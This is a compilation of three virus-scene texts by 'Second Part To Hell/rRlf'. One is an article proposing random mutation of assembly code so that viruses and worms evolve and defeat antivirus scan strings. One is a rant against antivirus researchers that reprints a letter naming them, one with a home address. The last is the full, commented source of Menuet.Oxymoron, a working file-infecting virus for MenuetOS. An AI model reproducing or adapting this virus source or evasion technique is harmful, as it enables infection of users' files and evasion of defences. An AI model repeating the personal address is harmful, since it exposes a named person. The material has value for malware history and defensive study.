Codes We know: Chromosome are (here) equally to functions in codes. As example we let a function mutate. Our function is a short ASM code, calculating the LBA number to FAT12 CHS values. This time I use ASM language for the example because at chromosome mutation genes (=commands) change. Delection: (original code) (mutated code) CyHeSe: CyHeSe: cmp ax, 36 cmp ax, 36 jge BefCyHeSe jge BefCyHeSe cmp ax, 18 cmp ax, 18 jl SecCheck jl SecCheck mov dh, 1 sub ax, 18 sub ax, 18 SecCheck: SecCheck: mov cl, al mov cl, al ret ret What would happen? In this example, the could would definitivly not work anymore.But that's the same as in nature: After delection the chromosome dont work really anymore. Duplication: (original code) (mutated code) CyHeSe: CyHeSe: cmp ax, 36 cmp ax, 36 jge BefCyHeSe jge BefCyHeSe cmp ax, 18 cmp ax, 18 jl SecCheck jl SecCheck mov dh, 1 mov dh, 1 jl SecCheck mov dh, 1 sub ax, 18 sub ax, 18 SecCheck: SecCheck: mov cl, al mov cl, al ret ret And what would happen this time? Nothing. But what could be: A code duplicated, that has a nice side effect. Inversation: (original code) (mutated code) CyHeSe: CyHeSe: cmp ax, 36 cmp ax, 36 jge BefCyHeSe jge BefCyHeSe cmp ax, 18 cmp ax, 18 jl SecCheck jl SecCheck mov dh, 1 sub ax, 18 sub ax, 18 mov dh, 1 SecCheck: SecCheck: mov cl, al mov cl, al ret ret This changing of commands has no effect to the function. But of course: It could have real bad effects, but in a very good case: Even a positive effect. Inseration: (original code) (mutated code) CyHeSe: CyHeSe: cmp ax, 36 cmp ax, 36 jge BefCyHeSe jge BefCyHeSe stosb dec dx cmp ax, 18 cmp ax, 18 jl SecCheck jl SecCheck mov dh, 1 mov dh, 1 sub ax, 18 sub ax, 18 SecCheck: SecCheck: mov cl, al mov cl, al ret ret I've insert some random bits into the code. As far as I can see, this code has no effect to the function. Translocation: (original code) (mutated code) CyHeSe: CyHeSe: cmp ax, 36 cmp ax, 36 jge BefCyHeSe jge BefCyHeSe cmp ax, 18 cmp ax, 18 jl SecCheck jl SecCheck mov al, 0x2A mov ah, 0xE mov bx, 0x7 int 0x10 mov dh, 1 mov dh, 1 sub ax, 18 sub ax, 18 SecCheck: SecCheck: mov cl, al mov cl, al ret ret The difference to inseration is, that the program 'knows', that it's a working code, because it's from another program. In our case the code writes a '*' to the screen. 4) How to use it? First we have to understand, why DNA mutates: Due to mistakes. Most times these mistakes lead to a negative effect, if not dead. But sometimes, as you can see in the complexity of some plaints or animals DNA (or even the human one), it leads to a positive effect. Well, for computers there are no mistakes. Therefor we have to help... If we want to use this technique, we have to deside how often the thing should mutate. Therefor we have to use random engines. In nature, this mutation rate is really slow. Bacteria have a mutation rate of 1/10 000 mutation every generation. 'Higher' life forms even less.I guess we should not use such a slow value, because we dont have 800 million of years. But not too high. I presume 1/10 or 1/50 every generation would be ok. But where should we use that? 4.1) Generations and the mystical word 'Death' I think of an example: A file is in memory, it makes a certain numbers of 'children' per seconds, and after a number secunds, the process dies. While living, the process has created, let's say, 10 children. These 10 children also make 10 children. And now stop: Now there are 100 processes in memory. Maybe 2 of them are mutated. I presume, they will die. :) If not, they give a different code (DNA) to their kids. And do you know: Maybe some time one of the kids changed their code in a way, that is good (like changing the value of the time-to-death). This code makes, in average, more new kids, and after some time, just the mutated process will stay in memory (more processes in memory, less cpu-time for each process, the better will survive ['natural selection in computer']. 4.2) Coding style: Exons and Introns As the DNA has been created totally random, the style of the DNA is 100% unoptimized and big parts of the DNA are just junk. These parts are called Exons. Exons are old parts of the evolution, which are not used anymore in the lifeform. About 98% of the human DNA are Exons. They are cut by a process called 'Splicing' before a protein becomes created. The rest 2% of the human DNA are Introns. These parts are responsible for everything. Now: why is this important for us? The complexer and the more optimized a code is, the higher the chance for errors in the mutation. Or better: The lower the chance of not-negative mutations. I think best would be a very huge and ugly code, maybe even by-hand trash between the code, even this is exactly what we try to reduce in normal coding. But this is NOT normal programming. 5) Connection to computer viruses You may see, that I have not used this word here in the article. Well, now I do. This technique is of course a technique idead for viruses. It's a kind of real code-evolution. This may be better than polymorphism or meta- morphism, but of course much slower. But the best thing is: Their are infinity numbers of generation. I think of this way: A virus spreads to files, and each file can not(!) be seens as a children. After a certain time (0.3sec?) the virus loads some other generations into the memory. Maybe one of the generation is mutated. If the generation works (=! broken), it spreads it's mutated code to the next files. The old generations have to die, because they are not need anymore. The new ones are maybe better. The same as in nature (old ones die because the new are maybe better). For worms it works nearly same. Let's say a worm is in memory. It sends itself our to as much addresses he cans. After a certain time it loads some other processes of itself (which may be mutated) into memory, and does a ExitProcess (=Death). For a worm this idea would be much better, because their are more computer which can make more generation in the same time. Result: More mutations: Bigger chance of positive mutations. 5.1) Neutral mutations Most mutations of such a virus/worm may be neutral. That means, they have no effect to the virus/worm. But for a virus a neutral mutation is also a success, because scan strings of AVs may become senseless. Such a neutral mutation may be inserting of bytes, which do nothing or changing the registers in a way the virus will still work. There are 100s of commands, which may not have any effect on the virus or worm's functionality. A few examples: xchg REG, REG | mov REG, REG | add REG, 0 | every calcu- lation with unused registers | whatever. 6) Outro Words I think this is a real interesting field, which could also be damn really successful. As it's very interesting for me, I'm going to make some experiments with this technique. I would be happy as hell if that would work as I hope: Due to natural selections broken parts stop work and parts which have positive mutations life longer or make more children, and in the end they rule the memory. Fiction or future? Time will tell us... - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written in February 2005 ...surrealistic viruswriter... - - - - - - - - - - - - - - -articles
How BigBrother wants to get us down! Second Part To Hell How BigBrother wants to get us down! Recently I've written some mails to herm1t, and he told me quite alot of interesting stuff. Most about KAV, and how they try to get us down. As most of the infos he gave me are russian, I desided to write this text. I tried my best to get all informations correct. It may be that some things are not totally correct anyway, but I dont think so. 1) KAV against whale 2) KAV against herm1t 3) FSecure against vx.netlux.org 4) KAV against virus related Newsgroups 5) KAV against www.host.sk 6) AVs spreading the virus writer's name 7) Conclusion 1) KAV against whale On 22th October 2004, whale, an now ex-29A member was trailed. First official statement about that happened at KAV's site (http://www.viruslist.com/en/weblog?discuss=155027820&return=1) at 17th November 2004: - - - - - - - - [KAV - whale] - - - - - - - - 29A member convicted in Russia by Aleks Gostev - November 17, 2004 | 16:09 MSK In Russia a virus writer known as Whale has been pronounced guilty. His real name is Evgenii Suchkov, and we know that he belonged to 29A, the notorious virus writing group. We think he may also be a member of HangUp Team, a similar Russian group. Suchkov's trial was on 22nd October this year in Izhevsk, Russia. He admitted that he was guilty of writing two complex viruses: Stepar and Gastropod. He created these viruses and put the source code and exe files on some virus writing sites, including 29A website. He was only fined 3,000 roubles or $100 and now has a criminal record. This isn't much - but the court didn't have any evidence to prove that the viruses had caused any material loss. But now Russian virus writers know that they are not always going to be able to hide from the law. And the world knows that Russia is doing something about virus writing. - - - - - - - - [KAV - whale] - - - - - - - - How comes? What happened? Sometime in November, whale wrote a official letter (russian) to explain, how police got him. The letter (http://www.wasm.ru/forum/files/_839773323__letter.txt) has been original posted at Z0MBiE's Homepage. What he wrote is quite interesting. First the original letter, then the translation: - - - - - - - - [whale - open letter (russian)] - - - - - - - - ??????? ???????. ???????? ??????? ????? ???????. ????? ?? ??? ?????????: ??????????? ??????????? - ??????? ?????? ??????? ? ??????? ??????????. ?????? ????????? ?????? ?? ?? ?? ???? ?????? ????. ?? ??? ??, ??? ? ??? ??????? ???????? ???????????? ??? ???, ????????? ? ????? ???? ????? ? ???????? ??????? :) ?????? ?????? ????? ????? ??????! ????? ?? ???? ??? ???????? ?????????? ??????: 1. ???????? ?????, ???????? ???????? ?? 2. ???????? ?????????, ????????? ?????? ???????????? ????????????, ????? ??????????: ?????????? ???????, ???. ????????, ???????????, 10-67 3. ?????????? ???????, ??????????? ???????? ??? "??????????? ???????????" ??????? ??????????????! ??? ????? - ????? ???? ???????? ?? ?????????? ????. ?????? ???????? ?? ???? ?? ??? ? ???, ?? ??? ??????????, ??? ??? ??? ???????? ???????. ??????? - ??? ??????. ??? - ??????? ????? ????????????? ???????????. ??????????? ??????? ?? ????? ?????????! ??????, ? ????? ????????? ??? ??? ?? ???????, ??? ??? ????????? ???? ?? ????????? ? ????? ? ?????????? ?????????? ?? ?????? 80-1 ?? ??. ????? ???????, ? ????????? ? ????????? ????????????? ???????. ???????????, ???? ????????? ?????? ??????????? ??????? ?????, ??? ????????-???????? ??????????. ??????? ??? ? ????? ???????? ?????? :) - - - - - - - - [whale - open letter (russian)] - - - - - - - - And now the translation (herm1t did - much thanks for that!) - - - - - - - - [whale - open letter (english)] - - - - - - - - Hi, sirs. Rather nasty story has turned out. With the following conclusion: Kaspersky Laboratory - is a totally rotten place and the medley of informers. Exactly due to the information from KL the case against me has been opened. All right then, if you have enough insolence to publish my name, get your own names in the morning papers as a reply :) The country must know its heroes! The information against me has been signed by the following persons: 1. Sumenkov Igor, KL virus analyst 2. Shevchenko Stanislaw, head of department of anti-virus research, place of residence: Moscow oblast, village Korenevo, Ostrovskogo, 10-67 3. Kaspersky Natal'ya, Chief Executive Officer, "Kaspersky Labs" Closed Joint-Stock Company Gentlemen, antivirologists! My words - just an excerpt from the criminal record. You may sue me for these words and you will loose the case, because these words are truth. Informers are good. They are the main stronghold of totalitarian state. Continue to squeal up for the welfare of the homeland! By the way, it hasn't been said in your publication about me that I was released by court because of changed situation according to the article 80-1 of CC RF (Criminal Code of Russian Federation). Thus I am totally reformed man without criminal records. One may admit, that to be ex-virmaker without criminal records is a far better, than to be an informer-virus analyst. I wish you success in you hard work :) - - - - - - - - [whale - open letter (english)] - - - - - - - - What the hell? Natalya Kaspersky (http://www.itseccity.de/content/bilder/031008_natalya_kasperskylabs.gif), Eugene Kaspersky's stupid wife signed the letter? Who are the other two? I had no success with searching for them. I just know, they are my enemyies! 2) KAV against herm1t Another proof that AVs want to bring is down is a mail written by Aleks Gostev (KAV - http://www.viruslist.com/en/imagesen/vlweblog/gostev.jpg). The mail has been sent to hostmaster@union.org.ua AND law@union.org.ua. union.org.ua were the ISP of herm1t's homepage: vx.org.ua, where he had the great collection of virus-information. - - - - - - - - [Aleks Gostev - union.org.ua 1 - (russian)] - - - - - - - - From Alexander.Gostev@kaspersky.com Fri Feb 21 16:14:42 2003 Return-Path: <Alexander.Gostev@kaspersky.com> Received: from relay.avp.ru (ns1.kasperskylabs.net [212.5.80.3]) by srv1.union.org.ua (8.11.2/8.11.2) with ESMTP id h1LEEdc05761 for <hostmaster@union.org.ua>; Fri, 21 Feb 2003 16:14:40 +0200 Received: (from root@localhost) by relay.avp.ru (8.9.3/8.9.3) id RAA25753 for hostmaster@union.org.ua.KAV; Fri, 21 Feb 2003 17:20:26 +0600 (OMST) (envelope-from Alexander.Gostev@kaspersky.com) Received: from avp_server.avp.ru ([172.16.0.52]) by relay.avp.ru (8.9.3/8.9.3) with ESMTP id RAA25623; Fri, 21 Feb 2003 17:20:22 +0600 (OMST) (envelope-from Alexander.Gostev@kaspersky.com) Received: from GOSTEV.avp.ru ([172.16.1.205]) by avp_server.avp.ru with Microsoft SMTPSVC(5.0.2195.5329); Fri, 21 Feb 2003 17:09:17 +0300 Date: Fri, 21 Feb 2003 17:09:17 +0300 From: Alex Gostev <alexander.gostev@kaspersky.com> X-Mailer: The Bat! (v1.62/Beta7) UNREG / CD5BF9353B3B7091 Reply-To: Alex Gostev <alexander.gostev@kaspersky.com> Organization: Kaspersky Lab X-Priority: 3 (Normal) Message-ID: <57107895796.20030221170917@kaspersky.com> To: hostmaster@union.org.ua CC: law@union.org.ua Subject: vx.org.ua ! MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 21 Feb 2003 14:09:17.0156 (UTC) FILETIME=[D2117240:01C2D9B2] Status: RO X-Status: A X-Keywords: X-UID: 173 Çäðàâñòâóéòå! Íà ðàçìåùåííîì ó Âàñ ñàéòå vx.org.ua ñîäåðæàòñÿ ôàéëû, ïðåäñòàâëÿþùèå èç ñåáÿ êîëëåêöèþ êîìïüþòåðíûõ âèðóñîâ, áîëåå 7 000 ðàçíîâèäíîñòåé. Êàê ìíå êàæåòñÿ, ïîäîáíîå ñîäåðæàíèå ñàéòà íàðóøàåò ðÿä ñòàòåé ÓÊ Óêðàèíû. -- Regards, Aleks Gostev Virus analyst, Kaspersky Lab. e-mail: alexander.gostev@kaspersky.com http://www.kaspersky.com/ - - - - - - - - [Aleks Gostev - union.org.ua 1 - (russian)] - - - - - - - - OK, and here the translation (without mail-header): - - - - - - - - [Aleks Gostev - union.org.ua 1 - (english)] - - - - - - - - Hello! The site vx.org.ua which located on Your (servers), contains files, which are the collection of computer viruses, more than 7000 variants. It seems to me that such content of the site violates a numbers of articles of CC (Criminal Code) of Ukraine. - - - - - - - - [Aleks Gostev - union.org.ua 1 - (english)] - - - - - - - - Shit! Aleks Gostev wrote a mail to the hostmaster and law-section of the host, over the head of herm1t. But: herm1t was the host-master and the co-owner of the host, so he got the mail immediatly. And he replyed and got another NICE answere: - - - - - - - - [Aleks Gostev - union.org.ua 2 - (russian)] - - - - - - - - From Alexander.Gostev@kaspersky.com Mon Mar 17 09:18:13 2003 Return-Path: <Alexander.Gostev@kaspersky.com> Received: from relay.avp.ru (ns1.kasperskylabs.net [212.5.80.3]) by srv1.union.org.ua (8.11.2/8.11.2) with ESMTP id h2H7IAP03696 for <postmaster@union.org.ua>; Mon, 17 Mar 2003 09:18:12 +0200 Received: (from root@localhost) by relay.avp.ru (8.9.3/8.9.3) id KAA14533 for postmaster@union.org.ua.KAV; Mon, 17 Mar 2003 10:28:25 +0600 (OMST) (envelope-from Alexander.Gostev@kaspersky.com) Received: from avp_server.avp.ru ([172.16.0.52]) by relay.avp.ru (8.9.3/8.9.3) with ESMTP id KAA14525 for <postmaster@union.org.ua>; Mon, 17 Mar 2003 10:28:23 +0600 (OMST) (envelope-from Alexander.Gostev@kaspersky.com) Received: from GOSTEV.avp.ru ([172.16.1.205]) by avp_server.avp.ru with Microsoft SMTPSVC(5.0.2195.5329); Mon, 17 Mar 2003 10:17:04 +0300 Date: Mon, 17 Mar 2003 10:17:04 +0300 From: Alex Gostev <alexander.gostev@kaspersky.com> X-Mailer: The Bat! (v1.61) Reply-To: Alex Gostev <alexander.gostev@kaspersky.com> Organization: Kaspersky Lab X-Priority: 3 (Normal) Message-ID: <2227872500.20030317101704@kaspersky.com> To: andrew baranovich <postmaster@union.org.ua> Subject: Re[2]: vx.org.ua ! In-Reply-To: <Pine.LNX.4.33.0303152227070.4251-100000@srv1.union.org.ua> References: <Pine.LNX.4.33.0303152227070.4251-100000@srv1.union.org.ua> MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 17 Mar 2003 07:17:04.0984 (UTC) FILETIME=[36757D80:01C2EC55] Status: RO X-Status: A X-Keywords: X-UID: 180 Hi, andrew. ab> ë ÓÏÖÁÌÅÎÉÀ ÍÎÅ ÔÁË ÎÅ ËÁÖÅÔÓÑ. ëÒÏÍÅ ÔÏÇÏ ÐÏÄÏÂÎÙÍÉ ab> ×ÏÐÒÏÓÁÍÉ × ÜÔÏÊ, ÄÁ É × ÄÒÕÇÉÈ ÓÔÒÁÎÁÈ ÚÁÎÉÍÁÅÔÓÑ ab> ÏÂÙÞÎÏ ÓÕÄ. åÝÅ ×ÏÐÒÏÓÙ? ab> p.s. åÓÌÉ ×ÁÍ ÉÎÔÅÒÅÓÎÏ, ÔÏ ÍÏÖÅÍ ×ÍÅÓÔÅ ÐÏÒÁÚÍÙÛÌÑÔØ ÎÁÄ ab> ÕËÒÁÉÎÓËÉÍ ÚÁËÏÎÏÄÁÔÅÌØÓÔ×ÏÍ. ab> p.p.s æÉ, ÇÏÓÐÏÄÁ, ÄÏÎÏÓ ÈÏÓÔÅÒÕ - ËÁË ÜÔÏ ÐÏÛÌÏ ö-( ïËÅÊ, × ÔÁËÏÍ ÓÌÕÞÁÅ ÐÏÐÒÏÂÕÅÍ ÚÁÎÑÔØÓÑ ÄÏÎÏÓÏÍ îá ÈÏÓÔÅÒÁ. õÄÁÞÉ. -- Regards, Aleks Gostev Virus analyst, Kaspersky Lab. e-mail: alexander.gostev@kaspersky.com http://www.kaspersky.com/ - - - - - - - - [Aleks Gostev - union.org.ua 2 - (russian)] - - - - - - - - OK, and the translation without header: - - - - - - - - [Aleks Gostev - union.org.ua 2 - (english)] - - - - - - - - Hi, andrew. ab> To my regret i don't think so. Besides that, this sort of questions, ab> usually, is in the authority of the court. ab> Do you have another questions? ab> p.s. If you interested in, we may think together about ukrainian laws. ab> p.p.s. Fie, gentlemen, to inform the hoster is so dirty :-( Okay, in this case we will try to inform AGAINST the hoster. (*) Good luck. - - - - - - - - [Aleks Gostev - union.org.ua 2 - (english)] - - - - - - - - herm1t's note: I note that he uses here the verb "donosit'" (to send information against, to squeal on). Usually people are trying to avoid this word and replacing it by euphemisms, but not our Alex. He knows exactly what he doing and there is no space for the another interpretation of his words. I don't want to comment on that - just that I have one more enemy. Thanks, Aleks! 3) FSecure against vx.netlux.org Nearly the same happened, when a FSecure guy sent a mail to abuse@netlux.org, to ask for removing vx.netlux.org. As herm1t were still one of the netlux-owners, the unknown friendly guy got a 'Fuck Off!' reply (but more politly - of course). I dont have sources for that event, I just mention it because I want to show that some other AVs are as shit as KAV. 4) KAV against virus related Newsgroups Another thing: Vadim Bogdanov tried to force FidoNet authorities to drop virus related newsgroup SU.CM from the FidoNet backbone and threaten its moderator (RedArc) by the possibility of criminal prosecution. The discussion was in the R50.SYSOP echoconference. I could not find sources for that, but you can ask RedArc for more informations. 5) KAV against www.host.sk This is just a rumous, but it seems to be quite true. At 2nd December 2004 Aleks Gostev (we already know him, don't we?) wrote a entry in viruslist.com Researcher's diary: (http://www.viruslist.com/en/weblog?discuss=155728886&return=1) - - - - - - - - [KAV - host.sk] - - - - - - - - Web host for virus writers closed Aleks Gostev - December 02, 2004 | 19:13 MSK Today we noticed that the infamous Internet resource host.sk, which has provided Web hosting services for a long time for the web sites of various virus writers' groups and individual members of the underground is currently unavailable and not responding to requests. We can only guess that this is a result of the recent events in the Czech Republic when members of 29A were questioned by the police. Benny and Ratter also had sites on this host. We do have information that the host has been closed by the authorities and the contents seized. - - - - - - - - [KAV - host.sk] - - - - - - - - One day later, when host.sk returned, Aleks wrote an comment in the guestbook: (http://www.viruslist.com/en/weblog?discuss=155728886) - - - - - - - - [KAV - host.sk] - - - - - - - - 03.12.2004 01:42 | Aleks "We do have" - correct "We dont have". Just typo, sorry. - - - - - - - - [KAV - host.sk] - - - - - - - - I don't believe it was just a mistake - not after knowing all the things I've already wrote. But what happened then? About one week after that, host.sk went down again. I've tryed to get information about that (I've called .cz's police and SK-PRIME-INTERACTIVE - the company behind www.host.sk. But I could not get any informations! As I said, this is just a rumous, but what I think is the following: KAV (maybe Aleks) wrote a mail to www.host.sk or to any higher instance to close the site due to virus groups (29a, ...) and individuums (Z0MBiE, vecna, Benny, Ratter). At 2nd December host.sk had problems with their server, and shut down. As Aleks thought, it's due to his 'activity', he wrote the message at the Researcher's Diary. But when Aleks found out that host.sk is active again, he wrote that it was a typing mistake. Why do I think so? KAV don't want to public the information, that they are doing such things beside of making an AV programm. But they want to be the first once to publish hot stories. As I said - just rumous! 6) AVs spreading the virus writer's name When I found the virus writing scene and the antivirus scene, I thought both are gentlement clubs, doing their best with their knowlegde. But now I think different: AVs (at least KAV) moved to a very strange site. They sent messages to police, hostmasters, ... to stopp viruswriters from that what they want to do. Another really shit technique of doing so is releasing the real names of Viruswriters. Neighter the names of thiefs nor killers become public - but the names of virus writers. There are two examples: Gigabyte's name (released in the VirusBulletin 12/04 - Editional) and whale's name, which has been released nearly everywhere! This is a real bad behaviour - it's no more fun - it's crime! 7) Conclusion Once I had a big respect of all AV researchers, but that changed: Now I feel just angry when I read their names. Big thanks to herm1t (vx.netlux.org) for everything you wrote!!! I hope I gave you the same feeling with this article! I really want you to spread these informations - they must not be secret anymore!!! Second Part To Hell/rRlf 15.12.2004sources
MenuetOS.Oxymoron Second Part To Hell Menuet.Oxymoron by Second Part To Hell[rRlf] www.spth.de.vu spth@priest.com written from february 2004 - june 2004 in Austria I proudly present my latest project: A MenuetOS file infector. The following code is the world's first Prepender for MenuetOS. I tested the whole code with MenuetOS 0.77 pre 2.8, and it fully works. Now I want to explain you how the virus works: - Searchs it's code - Searchs for files - Check if the file is a deleted file - Check if the file is a directory - Check if the file is an infectable Menuet file - Check if the file has reseved enougth memory - Check if the file is already infected - Read file into memory - Write first hostbytes (buffer for virus) to end of file in memory - Viruscode in memory at buffer generated before - Writing Infection sign - Save file in RAMDISK - Writing Host at Entry Point of file - Execute Host Now I want to tell you how I got the name for it: Oxymoron are tue words which's sence don't exist. An example for that: Black Milk, or Burning Water. As I thought, 'Menuet' and 'Virus' are also uncompainable, I named my virus 'Oxymoron'. (Per fortuna it's not true) There are some guys I have to thank, otherwise I would not have made it: + VxF <-- Much thanks for telling me about Menuet. It's great :) I wonder why you haven't written this thing before me, but ok... Thanks also for helping me when I started to code it with many advises and suggestions. You are great!!! + jpelczar <-- The progging-freak from #MenuetOS :) Much thanks for all you did for me, the whole coding (asm) help, the OS help, the the file system help and much more. Nobody would read this without you! Ohh, sorry that i lied about the purpose of the program, but i don't think that you would have helped me if you have known that I need it for a virus. + Ville Mikael Turjanmaa <-- Hi! Much thanks for writing this great OS, i love it (as you can see). Go on with this piece of code. Two things: The SYSTREE could be better, it was very time-intensiv to test my programs. 2nd: A search engine would be great. It's damn silly to search the files listed in any order. :) I have explained nearly every line of the code, so you should understand how it works. But to understand the stranges of MenuetOS, you have to play around with the OS. I will definitivly write an article about the infection in Menuet and other stranges. If you are interested in Menuet, go to the following site, www.menuetos.org, download the latest Version of the OS, and do whatever you want to do. :) - - - - - - - - - [ Menuet.Oxymoron ] - - - - - - - - - viruslength equ I_END-START use32 org 0x0 db 'MENUET00' ; 8 byte id dd 23 ; required os & Virus infection Mark dd START ; Program start dd I_END ; Program length dd 0x100000 ; Required amount of memory dd 0x00000000 ; reserved=no extended header START: pushad ; Save the original register-contents to stack mov ebp, dword [0xC] ; Save the virussize in ebp mov edi, ebp ; Move the offset of the code-start add di, (flb_bs-START) ; Get the relative offset mov al, 1 ; What to write = RESTORING stosb ; Write al to memory at offset edi add di, (fle-START)-(flb_bs-START) ; Get the relative Offset mov al, 0x20 ; What to write (Space) xor ecx, ecx ; ecx=0 mov cl, 11 ; How much to write - 11 bytes rdfn: ; Restore Data - File Name stosb ; Write 20h to edi loop rdfn ; Jump to fn2fb if ecx>0 && dec ecx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to fileinfo-block add bx, (dir_block-START) ; Get the relative offset int 0x40 ; System Call mov ebx, 0x20000 ; Move Offset of filename to ebx nextfile: add ebx, 32 ; Next Filename cmp ebx, 0x22000 ; Compair ebx with 0x22000 je endinf ; If equal, stop it mov cl, [ebx] ; First letter of Filename to cl cmp cl, 0xE5 ; Compair with 0xE5 (which is the sign of a DELETED file) je nextfile ; If so, get next file mov cl, [ebx+11] ; Move the attribute bits to cl and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER ) jnz nextfile ; If not zero, get next file mov edx, ebx ; Save ebx in edx mov edi, ebp ; Move fle (11 letter buffer) to edi add di, (fle-START) ; Get the relative Offset xor ecx, ecx ; ecx=0 mov cl, 11 ; Move 11 to ecx (counter=11) fn2fb: ; File Name to File Block mov al, [ebx] ; Move the ebx-value to al stosb ; Write al to memory at offset edi (=11 letter buffer) inc ebx ; Get next letter loop fn2fb ; Jump to fn2fb if ecx>0 && dec ecx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file-block add bx, (file_block-START) ; Get the relative Offset int 0x40 ; System Call mov ebx, edx ; Restore original ebx (Filename offset) mov eax, 0x25000 ; Move Offset of readed file-content to eax cmp dword [eax], 'MENU' ; Compair a double-word with 'MENU' jne nextfile ; If not equal (=No Menuet-executed file), get next file add al, 8 ; eax = 0x25000 + 0x8 = Infection mark offset cmp byte [eax], 23 ; Compair a byte with 23 je nextfile ; If equal (file is already infected), get next file add al, 12 ; eax= 0x25008+12 = Memory used by file cmp dword [eax], 0x50000 ; Compaire with 0x50000 (most files have the double) jl nextfile ; If less (too few memory for the virus), get next file mov eax, dword [ebx+28] ; Move the filesize to eax shr eax, 9 ; Get the blocks to read inc eax ; For reading the last not completed block mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) ; Get the relative Offset stosb ; Write [al] to di in memory mov edx, ebx ; Save ebx to edx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file-block add bx, (file_block-START) ; Get the relative offset int 0x40 ; System Call mov ebx, edx ; Restore original ebx (Filename offset) ;; Write first part (bytes of virus) of the host code to end ;; because these bytes will be overwritten. mov edi, dword [0x25010] ; Where to write: End of file add edi, 0x25000 ; Add memory offset of hostcode mov cx, viruslength ; Viruslength to ecx add ecx, dword [0x2500C] ; add Header-length cmp dword [0x25010], ecx ; Check if the file is smaller than the virus jge notsmall ; If not greater or equal, calculate another offset for writing xchg edi, ecx ; Move the real start to edi add edi, 0x25000 ; Add memory offset notsmall: xor ecx, ecx ; ecx=0 mov cx, viruslength ; How much to read: Viruslength mov edx, dword [0x2500C] ; What to read: Entry Point of file add edx, 0x25000 ; Add memory offset of hostcode fp2eof: ; First part to end of file mov al, [edx] ; Move a victim code's byte to al stosb ; Write al to memory at offset edi (end of file) inc edx ; Get next byte loop fp2eof ; Jump to fp2eof if ecx>0 && dec ecx ;; Overwrite first part of host file with viruscode mov cx, viruslength ; How much to write: Virus length mov edx, ebp ; What to write: Viruscode mov edi, dword [0x2500C] ; Where to write: Entry Point of file add edi, 0x25000 ; Add memory offset of hostcode vc2vm: ; Virus code to victim memory mov al, [edx] ; Move a virus code's byte to al stosb ; Write al to memory at offset edi (Start of victim's code) inc edx ; Get next virus byte loop vc2vm ; Jump to vc2vm if ecx>0 && dec ecx ;; Infection Mark <-- Against double-infection mov edi, 0x25008 ; Move the point of the infection sign mov al, 23 ; What to write (the infection mark) stosb ; Write infection mark to file mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) ; Get the relative Offset mov eax, dword [ebx+28] ; What to write (Old Filesize) add eax, viruslength ; Add virussize stosd ; Write eax to memory at offset edi ;; Write memory with new built infected file to RAMDISK mov edi, ebp ; Move the offset where to write add di, (flb_kd-START) ; Get the relative Offset mov al, 1 ; What to write (1 for writing) stosb ; Write al to memory at offset edi mov edx, ebx ; Save ebx to edx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file_block add bx, (file_block-START) ; Get the relative Offset int 0x40 ; System Call ;; Restore some memory stuff and register mov ebx, edx ; Restore ebx mov edi, ebp ; Move the offset where to write add di, (flb_kd-START) ; Get the relative Offset xor al, al ; What to write (0 for reading) = RESTORING stosb ; Write al to memory at offset edi mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) inc al ; What to write = RESTORING stosb ; Write al to memory at offset edi jmp nextfile ; Get Next File endinf: mov ebx, ebp ; What to write - Offset of vircode add bx, (rebu-START) ; Add relative address mov edi, 0x20000 ; Where to write mov cl, (rebuend-rebu) ; How much to write (whole rebuild-code) rb2m: ; Rebuild code to memory mov al, [ebx] ; Move one byte of rebuild-code to al stosb ; Write al to offset edi inc ebx ; Get next byte loop rb2m ; Jump to rbch if ecx>0 && inc ecx mov ebx, 0x20000 jmp ebx ; Jump to rebuild code in memory ; Now the viruscode in memory will be replaced by the ; old original host code, and the control comes back to ; the host file. The reason for using memory for ; overwrite the viruscode in memory is the fact that ; we can't overwrite the current running code. ; From now on, there is just data rebu: ; Rebuild the host code xor eax, eax ; eax=0 mov al, 0x10 ; eax=0x10 mov ebx, dword [eax] ; Move the file length to ebx, to get the old hostcode offset sub eax, 4 ; eax=0xC mov edx, dword [eax] ; Move the offset of the head-length to edx add dx, viruslength ; Add the virulength to edx cmp ebx, edx ; Check if the file is smaller than the virus jge notsmall2 ; If not greater or equal, go on mov ebx, edx ; Move the new offset to ebx notsmall2: mov edi, dword [0xC] ; Where to write: 0xC mov cx, viruslength ; How much to write rbhc: ; Rebuild host code mov al, [ebx] ; One byte of the saved host code to al stosb ; Write al (Host code) to edi (Entry Point of file) inc ebx ; Get next byte loop rbhc ; Jump to rbch if ecx>0 && inc ecx popad ; Get the original register-contents jmp dword [0xC] ; Jump to Entry Point, now with the original code rebuend: ; Rebuild host code: End virmsg db '1st Menuet Virus (Oxymoron) by Second Part To Hell/rRlf' dir_block: dd 0 ; 0=READ dd 0x0 ; 512 block to read 0+ dd 0x16 ; blocks to read (/bytes to write/append) dd 0x20000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes db '/RAMDISK/FIRST',0 ; ASCIIZ dir & filename file_block: flb_kd: dd 0 ; 0=READ (delete/append) dd 0x0 ; 512 block to read 0+ flb_bs: dd 0x1 ; blocks to read (/bytes to write/append) dd 0x25000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes flpath db '/RAMDISK/FIRST/' fle db ' ',0 I_END:sources
